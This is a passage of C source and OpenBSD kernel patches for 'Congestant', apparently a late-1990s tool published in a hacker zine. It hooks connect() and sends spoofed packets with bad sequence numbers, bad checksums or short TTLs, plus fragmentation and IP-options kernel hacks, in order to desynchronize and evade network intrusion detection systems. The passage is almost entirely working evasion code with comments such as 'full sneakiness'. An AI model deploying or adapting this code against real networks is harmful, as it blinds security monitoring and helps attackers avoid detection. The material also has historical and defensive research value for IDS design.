gettimeofday(&tv,NULL); timestamp=tv.tv_sec+3; // 3 second timeout DEBUG("Determining ttl..."); while(tv.tv_sec<=timestamp) { gettimeofday(&tv,NULL); if (ttl<50) { cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl++); } FD_ZERO(&fds); FD_SET(sock,&fds); select(sock+1,&fds,NULL,NULL,&tvwait); if (FD_ISSET(sock,&fds)) { if (bread=read(sock,buffer,sizeof(buffer))) { /* should we practice what we preach? nah... too much effort :p */ ip=(struct cong_ip_header *)buffer; if (ip->ip_src!=dest) continue; icmp=(struct cong_icmp_header *)(buffer + ((ip->ip_hl)<<2)); if (icmp->icmp_type!=0) continue; if (ntohs(icmp->icmp_seq)icmp_seq); } } } if (cong_debug) fprintf(stderr,"%d\n",result); close(sock); return result; } /* This is our init routine - reads conf env var*/ /* On the glibc box I tested, you cant dlopen from within * _init, so there is a little hack here */ #if __GLIBC__ == 2 int cong_start(void) #else int _init(void) #endif { void *handle; char *conf; #ifndef __OpenBSD__ handle=dlopen(LIB_PATH,1); if (!handle) { fprintf(stderr,"Congestant Error: Can't load libc.\n"); return 0; } #if __linux__ || (__svr4__ && __sun__) || sgi || __osf__ cong_connect = dlsym(handle, "connect"); #else cong_connect = dlsym(handle, "_connect"); #endif if (!cong_connect) { fprintf(stderr,"Congestant Error: Can't find connect().\n"); return -1; } #endif /* not openbsd */ memset(&cong_config,0,sizeof(struct cong_config)); if (conf=getenv("CONGCONF")) { char *token; token=strtok(conf,","); while (token) { if (!strcmp(token,"OH")) cong_config.one_host_attack=1; else if (!strcmp(token,"FS")) cong_config.fin_seq=1; else if (!strcmp(token,"RS")) cong_config.rst_seq=1; else if (!strcmp(token,"SS")) cong_config.syn_seq=1; else if (!strcmp(token,"DS")) cong_config.data_seq=1; else if (!strcmp(token,"FC")) cong_config.fin_chk=1; else if (!strcmp(token,"RC")) cong_config.rst_chk=1; else if (!strcmp(token,"SC")) cong_config.syn_chk=1; else if (!strcmp(token,"DC")) cong_config.data_chk=1; else if (!strcmp(token,"FT")) { cong_config.fin_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"RT")) { cong_config.rst_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DT")) { cong_config.data_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DEBUG")) cong_debug=1; token=strtok(NULL,","); } } else /* default to full sneakiness */ { cong_config.one_host_attack=1; cong_config.fin_seq=1; cong_config.rst_seq=1; cong_config.syn_seq=1; cong_config.data_seq=1; cong_config.syn_chk=1; cong_debug=1; /* assume they have kernel support */ /* attacks are only compiled in under obsd*/ cong_config.data_chk=1; cong_config.fin_chk=1; cong_config.rst_chk=1; cong_config.data_ttl=1; cong_config.fin_ttl=1; cong_config.rst_ttl=1; cong_config.ttl=1; } cong_init=1; } /* This is our definition of connect */ #if (__svr4__ && __sun__) int connect (int __fd, struct sockaddr * __addr, int __len) #else #if __GLIBC__ == 2 int connect __P ((int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)) #else int connect __P ((int __fd, const struct sockaddr * __addr, int __len)) #endif #endif { int result,nl; struct sockaddr_in sa; long from,to; short src,dest; unsigned long fakeseq=424242; int type=SOCK_STREAM; unsigned long realseq=0; unsigned long recvseq=0; int ttl=255,ttlseq; #if __GLIBC__ == 2 if (cong_init==0) cong_start(); #endif if (cong_init++==1) fprintf(stderr,"Congestant v1 by horizon loaded.\n"); /* quick hack so we dont waste time with udp connects */ #ifdef KERNELSUPPORT #ifdef __OpenBSD__ syscall(242,__fd,&type,&realseq,&recvseq); #endif /* openbsd */ if (type!=SOCK_STREAM) { result=syscall(SYS_connect,__fd,__addr,__len); return result; } #endif /* kernel support */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; #if __GLIBC__ == 2 to=__addr.__sockaddr_in__->sin_addr.s_addr; dest=__addr.__sockaddr_in__->sin_port; #else to=((struct sockaddr_in *)__addr)->sin_addr.s_addr; dest=((struct sockaddr_in *)__addr)->sin_port; #endif if (cong_config.one_host_attack) { cong_send_tcp(inet_addr(FAKEHOST), to, 4242, dest, 0, 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Spoofed Fake SYN Packet\n"); } if (cong_config.syn_chk) { /* This is a potential problem that could mess up * client programs. If necessary, we bind the socket * so that we can know what the source port will be * prior to the connection. */ if (src==0) { bind(__fd,(struct sockaddr *)&sa,nl); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; } cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0, TH_SYN, NULL, 0,100, 254); DEBUG("Sent Pre-Connect Desynchronizing SYN.\n"); fakeseq++; } DEBUG("Connection commencing...\n"); #ifndef __OpenBSD__ result=cong_connect(__fd,__addr,__len); #else /* not openbsd */ result=syscall(SYS_connect,__fd,__addr,__len); #endif if (result==-1) { if (errno!=EINPROGRESS) return -1; /* Let's only print the warning once */ if (cong_init++==2) fprintf(stderr,"Warning: Non-blocking connects might not work right.\n"); } /* In case an ephemeral port was assigned by connect */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; if (cong_config.syn_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Sent Desynchronizing SYNs.\n"); } if (cong_config.data_seq) { cong_send_data(from,to,src,dest,(fakeseq),0,0,254); DEBUG("Inserted 8K of data with incorrect sequence numbers.\n"); fakeseq+=8*1024; } if (cong_config.fin_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); DEBUG("Spoofed FINs with incorrect sequence numbers.\n"); } if (cong_config.rst_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); DEBUG("Spoofed RSTs with incorrect sequence numbers.\n"); } #ifdef KERNELSUPPORT #ifdef __OpenBSD__ if (cong_config.ttl==1) if (cong_ttl_cache!=to) { ttl=cong_find_ttl(from,to)-1; cong_ttl_cache=to; cong_ttl=ttl; } else ttl=cong_ttl; if (ttl<0) { fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n"); cong_config.data_ttl=0; cong_config.fin_ttl=0; cong_config.rst_ttl=0; ttl=0; } syscall(242,__fd,&type,&realseq,&recvseq); ttlseq=realseq; #endif /*openbsd */ if (cong_config.data_ttl) { cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl); DEBUG("Inserted 8K of data with short ttl.\n"); ttlseq+=1024*8; } if (cong_config.fin_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); DEBUG("Spoofed FINs with short ttl.\n"); } if (cong_config.rst_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl); DEBUG("Spoofed RSTs with short ttl.\n"); } if (cong_config.data_chk) { cong_send_data(from,to,src,dest,(realseq),recvseq,100,254); DEBUG("Inserted 8K of data with incorrect TCP checksums.\n"); realseq+=1024*8; } if (cong_config.fin_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); DEBUG("Spoofed FINs with incorrect TCP checksums.\n"); } if (cong_config.rst_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); DEBUG("Spoofed RSTs with incorrect TCP checksums.\n"); } #endif /* kernel support */ return result; } <--> <++> congestant/netinet.patch Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h --- /usr/src/sys.2.4.orig/netinet/in.h Tue Dec 8 10:32:38 1998 +++ netinet/in.h Tue Dec 8 10:48:33 1998 @@ -325,7 +325,10 @@ #define IPCTL_IPPORT_LASTAUTO 8 #define IPCTL_IPPORT_HIFIRSTAUTO 9 #define IPCTL_IPPORT_HILASTAUTO 10 -#define IPCTL_MAXID 11 +#define IPCTL_FRAG_HACK_HEAD 11 +#define IPCTL_FRAG_HACK_BODY 12 +#define IPCTL_OPTIONS_HACK 13 +#define IPCTL_MAXID 14 #define IPCTL_NAMES { \ { 0, 0 }, \ @@ -339,6 +342,9 @@ { "portlast", CTLTYPE_INT }, \ { "porthifirst", CTLTYPE_INT }, \ { "porthilast", CTLTYPE_INT }, \ + { "fraghackhead", CTLTYPE_INT }, \ + { "fraghackbody", CTLTYPE_INT }, \ + { "optionshack", CTLTYPE_INT }, \ } #ifndef _KERNEL diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c --- /usr/src/sys.2.4.orig/netinet/ip_input.c Tue Dec 8 10:32:41 1998 +++ netinet/ip_input.c Tue Dec 8 10:48:33 1998 @@ -106,6 +106,10 @@ extern int ipport_hilastauto; extern struct baddynamicports baddynamicports; +extern int ip_fraghackhead; +extern int ip_fraghackbody; +extern int ip_optionshack; + extern struct domain inetdomain; extern struct protosw inetsw[]; u_char ip_protox[IPPROTO_MAX]; @@ -1314,6 +1318,15 @@ case IPCTL_IPPORT_HILASTAUTO: return (sysctl_int(oldp, oldlenp, newp, newlen, &ipport_hilastauto)); + case IPCTL_FRAG_HACK_HEAD: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_fraghackhead)); + case IPCTL_FRAG_HACK_BODY: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_fraghackbody)); + case IPCTL_OPTIONS_HACK: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_optionshack)); default: return (EOPNOTSUPP); } diff -u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c --- /usr/src/sys.2.4.orig/netinet/ip_output.c Tue Dec 8 10:32:43 1998 +++ netinet/ip_output.c Tue Dec 8 11:00:14 1998 @@ -88,6 +88,10 @@ extern int ipsec_esp_network_default_level; #endif +int ip_fraghackhead=0; +int ip_fraghackbody=0; +int ip_optionshack=0; + /* * IP output. The packet in mbuf chain m contains a skeletal IP * header (with len, off, ttl, proto, tos, src, dst). @@ -124,6 +128,9 @@ struct inpcb *inp; #endif + /* HACK */ + int fakeheadmtu; + va_start(ap, m0); opt = va_arg(ap, struct mbuf *); ro = va_arg(ap, struct route *); @@ -144,7 +151,50 @@ m = ip_insertoptions(m, opt, &len); hlen = len; } + /* HACK */ + else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) + { + struct mbuf *n=NULL; + register struct ip* ip= mtod(m, struct ip*); + + if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat) + { + MGETHDR(n, M_DONTWAIT, MT_HEADER); + if (n) + { + n->m_pkthdr.len = m->m_pkthdr.len + 40; + m->m_len -= sizeof(struct ip); + m->m_data += sizeof(struct ip); + n->m_next = m; + m = n; + m->m_len = 40 + sizeof(struct ip); + m->m_data += max_linkhdr; + bcopy((caddr_t)ip, mtod(m, caddr_t), + sizeof(struct ip)); + } + } + else + { + m->m_data -= 40; + m->m_len += 40; + m->m_pkthdr.len += 40; + ovbcopy((caddr_t)ip, mtod(m, caddr_t), + sizeof(struct ip)); + n++; /* make n!=0 */ + } + if (n!=0) + { + ip = mtod(m, struct ip *); + memset((caddr_t)(ip+1),0,40); + ip->ip_len += 40; + + hlen=60; + len=60; + } + } + ip = mtod(m, struct ip *); + /* * Fill in IP header. */ @@ -721,7 +771,15 @@ /* * If small enough for interface, can just send directly. */ - if ((u_int16_t)ip->ip_len <= ifp->if_mtu) { + + /* HACK */ + + fakeheadmtu=ifp->if_mtu; + + if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING))) + fakeheadmtu=ip_fraghackhead; + + if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) { ip->ip_len = htons((u_int16_t)ip->ip_len); ip->ip_off = htons((u_int16_t)ip->ip_off); ip->ip_sum = 0; @@ -738,7 +796,10 @@ ipstat.ips_cantfrag++; goto bad; } - len = (ifp->if_mtu - hlen) &~ 7; + +/* HACK */ + + len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7; if (len < 8) { error = EMSGSIZE; goto bad; @@ -748,6 +809,9 @@ int mhlen, firstlen = len; struct mbuf **mnext = &m->m_nextpkt; + /*HACK*/ + int first=0; + /* * Loop through length of segment after first fragment, * make new header and copy data of each part and link onto chain. @@ -755,7 +819,9 @@ m0 = m; mhlen = sizeof (struct ip); for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) { - MGETHDR(m, M_DONTWAIT, MT_HEADER); + if (first && ip_fraghackbody) + len=(ip_fraghackbody-hlen) &~7; + MGETHDR(m, M_DONTWAIT, MT_HEADER); if (m == 0) { error = ENOBUFS; ipstat.ips_odropped++; @@ -791,6 +857,7 @@ mhip->ip_sum = 0; mhip->ip_sum = in_cksum(m, mhlen); ipstat.ips_ofragments++; + first=1; } /* * Update first fragment by trimming what's been copied out Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c --- /usr/src/sys.2.4.orig/netinet/tcp_subr.c Tue Dec 8 10:32:45 1998 +++ netinet/tcp_subr.c Tue Dec 8 10:48:33 1998 @@ -465,3 +465,18 @@ if (tp) tp->snd_cwnd = tp->t_maxseg; } + +/* HACK - This is a tcp subroutine added to grab the sequence numbers */ + +void tcp_getseq(struct socket *so, struct mbuf *m) +{ + struct inpcb *inp; + struct tcpcb *tp; + + if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp))) + { + m->m_len=sizeof(unsigned long)*2; + *(mtod(m,unsigned long *))=tp->snd_nxt; + *((mtod(m,unsigned long *))+1)=tp->rcv_nxt; + } +} diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c --- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c Tue Dec 8 10:32:45 1998 +++ netinet/tcp_usrreq.c Tue Dec 8 10:48:33 1998 @@ -363,6 +363,10 @@ in_setsockaddr(inp, nam); break; + case PRU_SOCKINFO: + tcp_getseq(so,m); + break; + case PRU_PEERADDR: in_setpeeraddr(inp, nam); break; diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h --- /usr/src/sys.2.4.orig/netinet/tcp_var.h Tue Dec 8 10:32:45 1998 +++ netinet/tcp_var.h Tue Dec 8 10:48:34 1998 @@ -291,6 +291,8 @@ void tcp_pulloutofband __P((struct socket *, struct tcpiphdr *, struct mbuf *)); void tcp_quench __P((struct inpcb *, int)); +/*HACK*/ +void tcp_getseq __P((struct socket *, struct mbuf *)); int tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *)); void tcp_respond __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int)); <--> <++> congestant/kern.patch --- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c Thu Dec 3 11:00:01 1998 +++ kern/uipc_syscalls.c Thu Dec 3 11:13:44 1998 @@ -924,6 +924,53 @@ } /* + * Get socket information. HACK + */ + +/* ARGSUSED */ +int +sys_getsockinfo(p, v, retval) + struct proc *p; + void *v; + register_t *retval; +{ + register struct sys_getsockinfo_args /* { + syscallarg(int) fdes; + syscallarg(int *) type; + syscallarg(int *) seq; + syscallarg(int *) ack; + } */ *uap = v; + struct file *fp; + register struct socket *so; + struct mbuf *m; + int error; + + if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0) + return (error); + + so = (struct socket *)fp->f_data; + + error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short)); + + if (!error && (so->so_type==SOCK_STREAM)) + { + m = m_getclr(M_WAIT, MT_DATA); + if (m == NULL) + return (ENOBUFS); + + error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0); + + if (!error) + error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long)); + if (!error) + error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long)); + m_freem(m); + } + + return error; +} + +/* * Get name of peer for connected socket. */ /* ARGSUSED */ --- /usr/src/sys.2.4.orig/kern/syscalls.master Thu Dec 3 11:00:00 1998 +++ kern/syscalls.master Thu Dec 3 11:14:44 1998 @@ -476,7 +476,8 @@ 240 STD { int sys_nanosleep(const struct timespec *rqtp, \ struct timespec *rmtp); } 241 UNIMPL -242 UNIMPL +242 STD { int sys_getsockinfo(int fdes, int *type, \ + int *seq, int *ack); } 243 UNIMPL 244 UNIMPL 245 UNIMPL <--> <++> congestant/sys.patch --- /usr/src/sys.2.4.orig/sys/protosw.h Thu Dec 3 11:00:39 1998 +++ sys/protosw.h Thu Dec 3 11:16:41 1998 @@ -148,8 +148,8 @@ #define PRU_SLOWTIMO 19 /* 500ms timeout */ #define PRU_PROTORCV 20 /* receive from below */ #define PRU_PROTOSEND 21 /* send to below */ - -#define PRU_NREQ 21 +#define PRU_SOCKINFO 22 +#define PRU_NREQ 22 #ifdef PRUREQUESTS char *prurequests[] = { @@ -158,7 +158,7 @@ "RCVD", "SEND", "ABORT", "CONTROL", "SENSE", "RCVOOB", "SENDOOB", "SOCKADDR", "PEERADDR", "CONNECT2", "FASTTIMO", "SLOWTIMO", - "PROTORCV", "PROTOSEND", + "PROTORCV", "PROTOSEND", "SOCKINFO", }; #endif <--> ----[ EOF